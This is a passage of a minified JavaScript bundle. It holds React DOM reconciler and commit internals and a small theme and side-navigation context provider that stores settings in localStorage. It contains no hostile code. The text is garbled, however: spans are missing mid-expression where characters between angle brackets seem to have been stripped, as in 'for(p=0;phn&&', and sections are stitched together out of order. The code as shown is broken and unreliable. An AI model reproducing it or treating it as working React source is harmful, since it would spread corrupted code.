l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ei(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(ti.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ci.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Us,l=Ls;n=(l&~(1<<32-Ks(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304)}else{if(!l)if(s=tp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Gn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,F(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return st(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function ZI(s,a){switch(Nc(a),a.tag){case 1:return js(a.type)&&sp(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(Cs),S(os),Dc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return zc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Mc(a.type._context),null;case 22:case 23:return st(),null;case 24:return null;default:return null}}var fl=!1,ts=!1,WI=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function GI(s,a){if(Ke=Ol,s=Mr(),Rc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Fe={focusedElem:s,selectionRange:n},Ol=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,G=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),G);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return m=ro,ro=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Gp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[oI],delete a[rI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=ql));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function aa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,aa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ne(s.parentNode,n):s.nodeType===1&&ne(s,n),Tn(s)):ne(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,aa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}aa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}aa(s,a,n);break;case 21:aa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,aa(s,a,n),ts=l):aa(s,a,n);break;default:aa(s,a,n)}}function go(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new WI),a.forEach(function(l){var p=HI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,H&6)throw Error(w(331));var p=H;for(H|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-$c?Va(s,0):Pc|=n),As(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=$s(s,a),s!==null&&(tl(s,a,n),As(s,n))}function NI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function HI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||Cs.current)ds=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return ds=!1,wI(s,a,n);ds=!!(s.flags&131072)}else ds=!1,J&&a.flags&1048576&&_r(a,lp,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Jl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Qc(null,a,l,s,p,n);var e=Tc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,js(l)?(e=!0,ap(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=Wp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=_e(null,a,l,!0,e,n)):(a.tag=0,J&&e&&vc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Jl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=FI(l),s=vs(l,s),p){case 0:a=Le(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Le(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),co(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,ai(s,a),cp(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=qr(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=qs(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return ni(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Bi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Vi(s,a,n);case 4:return Jc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),po(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,F(pp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!Cs.current){a=qs(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),eo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Jl(s,a),a.tag=1,js(l)?(s=!0,ap(a)):s=!1,ln(a,n),wi(a,l,p),Te(a,l,p,n),_e(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Bs(s,a,n,l){return new KI(s,a,n,l)}function nt(s){return s=s.prototype,!(!s||!s.isReactComponent)}function FI(s){if(typeof s=="function")return nt(s)?1:0;if(s!=null){if(s=s.$$typeof,s===bc)return 11;if(s===wc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Bs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")nt(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case mc:c=8,p|=8;break;case je:return s=Bs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Bs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Bs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return fp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case bc:c=11;break s;case wc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Bs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Bs(7,s,l,a),s.lanes=n,s}function fp(s,a,n,l){return s=Bs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function ie(s,a,n){return s=Bs(6,s,null,a),s.lanes=n,s}function ge(s,a,n){return a=Bs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Qp(0),this.expirationTimes=Qp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Qp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function lt(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Bs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function SI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),Oo.exports=ks;var EI=Oo.exports,Pi,$i,mo=EI;$i=mo.createRoot,Pi=mo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=W.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function tt(){return W.useContext(sg)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return r.jsx(sg.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function oe(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Le(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var yI=typeof WeakMap=="function"?WeakMap:Map;function ki(s,a,n){n=_s(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){gp||(gp=!0,lc=l),Le(s,a)},n}function Zi(s,a,n){n=_s(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Le(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Le(s,a),typeof l!="function"&&(da===null?da=new Set([this]):da.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function ao(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new yI;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=vI.bind(null,s,a,n),a.then(s,s))}function no(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function lo(s,a,n,l,p){return s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=_s(-1,1),a.tag=2,Ia(n,a,1))),n.lanes|=1),s)}var mI=sa.ReactCurrentOwner,ds=!1;function rs(s,a,n,l){a.child=s===null?qr(a,null,n,l):on(a,s.child,n,l)}function po(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Qc(s,a,n,l,e,p),n=Tc(),s!==null&&!ds?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,qs(s,a,p)):(J&&n&&vc(a),a.flags|=1,rs(s,a,l,p),a.child)}function eo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!nt(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Wi(s,a,e,l,p)):(s=El(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:Un,n(c,l)&&s.ref===a.ref)return qs(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Wi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(Un(e,l)&&s.ref===a.ref)if(ds=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(ds=!0);else return a.lanes=s.lanes,qs(s,a,p)}return Ue(s,a,n,l,p)}function Gi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},F($a,ys),ys|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,F($a,ys),ys|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,F($a,ys),ys|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,F($a,ys),ys|=l;return rs(s,a,p,n),a.child}function Bi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function Ue(s,a,n,l,p){var e=js(n)?Ra:os.current;return e=cn(a,e),ln(a,p),n=Qc(s,a,n,l,e,p),l=Tc(),s!==null&&!ds?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,qs(s,a,p)):(J&&l&&vc(a),a.flags|=1,rs(s,a,n,p),a.child)}function co(s,a,n,l,p){if(js(n)){var e=!0;ap(a)}else e=!1;if(ln(a,p),a.stateNode===null)Jl(s,a),wi(a,n,l),Te(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,i=n.contextType;typeof i=="object"&&i!==null?i=Vs(i):(i=js(n)?Ra:os.current,i=cn(a,i));var I=n.getDerivedStateFromProps,d=typeof I=="function"||typeof c.getSnapshotBeforeUpdate=="function";d||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==i)&&so(a,c,l,i),la=!1;var j=a.memoizedState;c.state=j,cp(a,l,c,p),o=a.memoizedState,t!==l||j!==o||Cs.current||la?(typeof I=="function"&&(Qe(a,n,I,l),o=a.memoizedState),(t=la||qt(a,n,t,l,j,o,i))?(d||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=i,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,ai(s,a),t=a.memoizedProps,i=a.type===a.elementType?t:vs(a.type,t),c.props=i,d=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=Vs(o):(o=js(n)?Ra:os.current,o=cn(a,o));var u=n.getDerivedStateFromProps;(I=typeof u=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==d||j!==o)&&so(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,cp(a,l,c,p);var m=a.memoizedState;t!==d||j!==m||Cs.current||la?(typeof u=="function"&&(Qe(a,n,u,l),m=a.memoizedState),(i=la||qt(a,n,i,l,j,m,o)||!1)?(I||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,m,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,m,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=m),c.props=l,c.state=m,c.context=o,l=i):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return _e(s,a,n,l,e,p)}function _e(s,a,n,l,p,e){Bi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Qt(a,n,!1),qs(s,a,e);l=a.stateNode,mI.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):rs(s,a,t,e),a.memoizedState=l.state,p&&Qt(a,n,!0),a.child}function fi(s){var a=s.stateNode;a.pendingContext?Et(s,a.pendingContext,a.pendingContext!==a.context):a.context&&Et(s,a.context,!1),Jc(s,a.containerInfo)}function to(s,a,n,l,p){return tn(),Hc(p),a.flags|=256,rs(s,a,n,l),a.child}var Oe={dehydrated:null,treeContext:null,retryLane:0};function Pe(s){return{baseLanes:s,cachePool:null,transitions:null}}function Vi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),F(z,p&1),s===null)return De(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=fp(c,l,0,null),s=Ya(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=Pe(n),a.memoizedState=Oe,s):_c(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return bI(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=Ya(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?Pe(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Oe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function _c(s,a){return a=fp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Bl(s,a,n,l){return l!==null&&Hc(l),on(a,s.child,null,n),s=_c(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function bI(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=oe(Error(w(422))),Bl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=fp({mode:"visible",children:l.children},p,0,null),e=Ya(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=Pe(c),a.memoizedState=Oe,e);if(!(a.mode&1))return Bl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=oe(e,l,void 0),Bl(s,a,c,l)}if(t=(c&s.childLanes)!==0,ds||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,$s(s,p),Fs(l,s,p,-1))}return at(),l=oe(Error(w(421))),Bl(s,a,c,l)}return 